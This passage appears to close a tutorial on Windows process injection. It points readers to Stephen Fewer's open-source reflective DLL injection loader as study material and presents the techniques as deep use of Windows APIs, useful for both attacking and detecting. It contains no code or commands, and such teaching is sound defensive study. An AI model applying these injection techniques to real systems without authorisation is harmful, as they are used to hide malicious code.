Reflective DLL injection is the capstone. Read Stephen Fewer’s original implementation. It’s open source, written clearly, and the ReflectiveLoader function is around 200 lines of assembly and C. Understanding every line of it will give you a better mental model of PE loading than any book.
This stuff isn’t magic. It’s a deep familiarity with APIs that Windows provides, used for purposes the documentation never mentions. The more clearly you see that, the better you’ll be at both using and detecting these techniques.








